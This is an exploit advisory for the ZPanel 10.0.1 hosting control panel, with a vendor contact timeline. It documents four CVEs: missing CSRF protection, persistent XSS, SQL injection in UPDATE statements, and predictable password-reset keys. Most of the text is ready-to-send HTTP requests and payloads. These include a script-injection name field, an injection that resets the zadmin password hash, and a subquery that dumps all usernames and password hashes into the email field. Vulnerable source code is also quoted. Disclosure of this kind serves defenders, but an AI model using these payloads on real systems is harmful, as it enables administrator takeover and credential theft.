ZPanel 10.0.1 - Cross-Site Request Forgery / Cross-Site Scripting / SQL Injection / Password Reset

# Exploit Title: ZPanel <= 10.0.1 CSRF, XSS, SQLi, Password Reset

# Date: 04/11/2012

# Exploit Author: pcsjj

# Vendor Homepage: http://www.zpanelcp.com/

# Version: 10.0.1

# Software Link: http://sourceforge.net/projects/zpanelcp/files/latest/download

# Downloads: 90,382

# CVE : CVE-2012-5683 (CSRF), CVE-2012-5684 (XSS), CVE-2012-5685(SQL Injection), CVE-2012-5686 (Password Reset)

# I'm going to guess there are some more here.



# 10/30/2012 - Contacted  developers.

# 10/31/2012 - Developer states preference for reporting through bug tracker.

# 11/04/2012 - Developer confirms preference for reporting through bug tracker.

# 11/04/2012 - Vulnerability disclosed in bug tracker.



# Insufficient CSRF protection (CVE-2012-5683)

# All sensitive functions are lacking CSRF protection. One example below is

a request showing no authorization token is required for the creation of a

FTP user called "fun". This could also be used to deliver both XSS

(CVE-2012-5684) and SQLi (CVE-2012-5685) examples below.

#



http://192.168.1.100/?module=ftp_management&action=CreateFTP



POST /zpanel/?module=ftp_management&action=CreateFTP HTTP/1.1

Host: 192.168.1.100

Referer: http://192.168.1.100/?module=ftp_management

Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2

Content-Type: application/x-www-form-urlencoded

Content-Length: 107

inFTPUsername=fun&inPassword=fun&inAccess=RW&inAutoHome=2&inDestination=&inDestination=&inSubmit=



# Persistent XSS (CVE-2012-5684)

# The "inFullname" parameter is vulnerable to XSS. User's real name is not

being sanitized as it displayed within the control panel.

#



http://192.168.1.100/zpanel/?module=my_account&action=UpdateAccountSettings



POST /?module=my_account&action=UpdateAccountSettings HTTP/1.1

Host: 192.168.1.100

Referer:

http://192.168.1.100/zpanel/?module=my_account&action=UpdateAccountSettings

Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2

Content-Type: application/x-www-form-urlencoded

Content-Length: 143

inFullname=Admin%3Cscript%3Ealert%28/fun/%29%3C%2Fscript%3E&inEmail=admin%

40example.com&inPhone=101&inLanguage=en&inAddress=Home&inPostalCode=101



# SQL Injection (CVE-2012-5685)

# "inEmailAddress" parameter is vulnerable to SQL injection. Since the

injection point is in an UPDATE statement its trivial to manipulate the

content of the database. For instance the zadmin password could be changed

to password.(5f4dcc3b5aa765d61d8327deb882cf99)

#



http://192.168.1.100/?module=manage_clients&action=UpdateClient



POST /?module=manage_clients&action=UpdateClient HTTP/1.1

Host: 192.168.182.128

Referer: http://192.168.1.100/?module=manage_clients&show=Edit&other=5

Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2

Content-Type: application/x-www-form-urlencoded

Content-Length: 257

inGroup=2&inPackage=2&inFullName=reseller&inEmailAddress=%27%2C+ac_pass_vc%3D%275f4dcc3b5aa765d61d8327deb882cf99%27%2C+ac_user_vc%3D%27zadmin%27+WHERE+ac_id_pk%3D1%3B--&inAddress=&inPostCode=&inPhone=101&inNewPassword=&inEnabled=1&inClientID=5&inSubmit=Save



# One more sqli example

# A user can extract data from db though an UPDATE statement by using a

subquery. As long as we update a field that is displayed back to us. To

reproduce this example you need to know your ClientID which can be found in

the referring page's url as the value of "other". In this example we use

the email field to hold the result of the subquery. Usually you can't

select from the table you're updating but by creating a temporary table

called "fun" we can avoid that. Using group_concat we get all columns and

all rows as a single string so that it all fits nicely in a single field.

#



http://192.168.1.100/?module=manage_clients&action=UpdateClient



POST /?module=manage_clients&action=UpdateClient HTTP/1.1

Host: 192.168.1.100

Referer: http://192.168.1.100/?module=manage_clients&show=Edit&other=5

#<!---- 5 is the Client ID or ac_id_pk

Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2

Content-Type: application/x-www-form-urlencoded

Content-Length: 335

inGroup=2&inPackage=2&inFullName=reseller&inEmailAddress=reseller%

40example.com

%27%2C+ac_email_vc%3D%28select+group_concat%28ac_user_vc%2C+ac_pass_vc%29+from+%28select+*+from+x_accounts%29+as+fun%29+where+ac_id_pk%3D%275%27%3B--&inAddress=&inPostCode=&inPhone=%2B44%281473%29+000+000&inNewPassword=&inEnabled=1&inClientID=5&inSubmit=Save



# Password Reset Weakness, Insufficient entropy (CVE-2012-5686)

# "randomkey" is not sufficiently random. By knowing server time an

attacker could reset a password and guess the key within a relatively low

number of requests.  If the attacker can receive a password reset email for

any account on the system (demo account?) the number of attempts required

to guess reset key for another user (zadmin) can be greatly reduced.  Since

the zadmin default admin account is "hard coded" it is especially at risk

to this password reset weakness. If you change zadmin username in the

zpanel_core db my experience is that you cannot load zpanel control panel.

#



# ZPanel source code for [INSTALL_DIR]/inc/init.inc.php

 38    $randomkey = sha1(microtime());

 46      $zdbh->exec("UPDATE x_accounts SET ac_resethash_tx = '" .

$randomkey . "' WHERE ac_id_pk=" . $result['ac_id_pk'] . "");

 50      $phpmailer->Body = "Hi " . $result['ac_user_vc'] . ",

 51     You or somebody pretending to be you has requested a password reset

link to be sent for your web hosting control panel login at: " .

ctrl_options::GetOption('cp_url') . "

 52    If you wish to proceed with the password reset on your account

please use this link below to be taken to the password reset page.

 53    http://" . ctrl_options::GetOption('zpanel_domain') . "/?resetkey="

. $randomkey . "

 54     ";